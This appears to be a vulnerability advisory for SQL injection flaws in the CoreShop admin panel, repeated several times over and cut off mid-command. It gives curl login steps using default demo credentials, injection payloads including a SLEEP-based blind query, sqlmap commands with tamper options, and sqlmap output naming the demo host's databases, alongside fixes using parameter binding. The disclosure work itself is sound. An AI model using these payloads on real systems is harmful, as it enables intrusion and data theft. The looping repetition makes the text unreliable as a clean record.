Use parameter binding for all user-influenced values, including store.

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = ?
      AND orders.orderState = ?
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = ?
    GROUP BY " .$groupSelector;

$results =$this->db->fetchAllAssociative(
$sqlQuery,
    [
        (int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
    ]
);

This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema

Solution

To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

1. Strict Type Enforcement (Minimal Fix)

   If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

2. Prepared Statements (Best Practice)

   Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.

Applying either approach would prevent attackers from injecting SQL logic through the store parameter.

Parameter

1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50

Line of Code

CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php

Line 64 :

$storeId =$parameterBag->get('store',null);

The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.

Line 77 :

if (null ===$storeId) {
return [];
}

This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).

Line 81 :

$store =$this->storeRepository->find($storeId);

The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.

Line 107 :

WHERE orders.store =$storeId
  AND orders.orderState ='$orderCompleteState'
  AND orders.orderDate > ?
  AND orders.orderDate < ?
  AND saleState='" . OrderSaleStates::STATE_ORDER . "'

At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.

Example Fixed Code

Option 1: Strict Type Enforcement (Minimal Fix)

If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.

$storeId = (int)$parameterBag->get('store',0);

if ($storeId <=0) {
return [];
}

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store =$storeId
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
    GROUP BY " .$groupSelector;

This ensures that only numeric values are used and prevents SQL logic injection.

Option 2: Prepared Statements (Recommended Fix)

Use parameter binding for all user-influenced values, including store.

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = ?
      AND orders.orderState = ?
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = ?
    GROUP BY " .$groupSelector;

$results =$this->db->fetchAllAssociative(
$sqlQuery,
    [
        (int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
    ]
);

This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema

Solution

To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

1. Strict Type Enforcement (Minimal Fix)

   If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

2. Prepared Statements (Best Practice)

   Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.

Applying either approach would prevent attackers from injecting SQL logic through the store parameter.

Parameter

1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50

Line of Code

CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php

Line 64 :

$storeId =$parameterBag->get('store',null);

The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.

Line 77 :

if (null ===$storeId) {
return [];
}

This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).

Line 81 :

$store =$this->storeRepository->find($storeId);

The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.

Line 107 :

WHERE orders.store =$storeId
  AND orders.orderState ='$orderCompleteState'
  AND orders.orderDate > ?
  AND orders.orderDate < ?
  AND saleState='" . OrderSaleStates::STATE_ORDER . "'

At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.

Example Fixed Code

Option 1: Strict Type Enforcement (Minimal Fix)

If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.

$storeId = (int)$parameterBag->get('store',0);

if ($storeId <=0) {
return [];
}

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store =$storeId
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
    GROUP BY " .$groupSelector;

This ensures that only numeric values are used and prevents SQL logic injection.

Option 2: Prepared Statements (Recommended Fix)

Use parameter binding for all user-influenced values, including store.

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = ?
      AND orders.orderState = ?
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = ?
    GROUP BY " .$groupSelector;

$results =$this->db->fetchAllAssociative(
$sqlQuery,
    [
        (int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
    ]
);

This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema

Solution

To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

1. Strict Type Enforcement (Minimal Fix)

   If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

2. Prepared Statements (Best Practice)

   Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.

Applying either approach would prevent attackers from injecting SQL logic through the store parameter.

Parameter

1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50

Line of Code

CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php

Line 64 :

$storeId =$parameterBag->get('store',null);

The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.

Line 77 :

if (null ===$storeId) {
return [];
}

This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).

Line 81 :

$store =$this->storeRepository->find($storeId);

The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.

Line 107 :

WHERE orders.store =$storeId
  AND orders.orderState ='$orderCompleteState'
  AND orders.orderDate > ?
  AND orders.orderDate < ?
  AND saleState='" . OrderSaleStates::STATE_ORDER . "'

At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.

Example Fixed Code

Option 1: Strict Type Enforcement (Minimal Fix)

If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.

$storeId = (int)$parameterBag->get('store',0);

if ($storeId <=0) {
return [];
}

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store =$storeId
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
    GROUP BY " .$groupSelector;

This ensures that only numeric values are used and prevents SQL logic injection.

Option 2: Prepared Statements (Recommended Fix)

Use parameter binding for all user-influenced values, including store.

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = ?
      AND orders.orderState = ?
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = ?
    GROUP BY " .$groupSelector;

$results =$this->db->fetchAllAssociative(
$sqlQuery,
    [
        (int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
    ]
);

This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
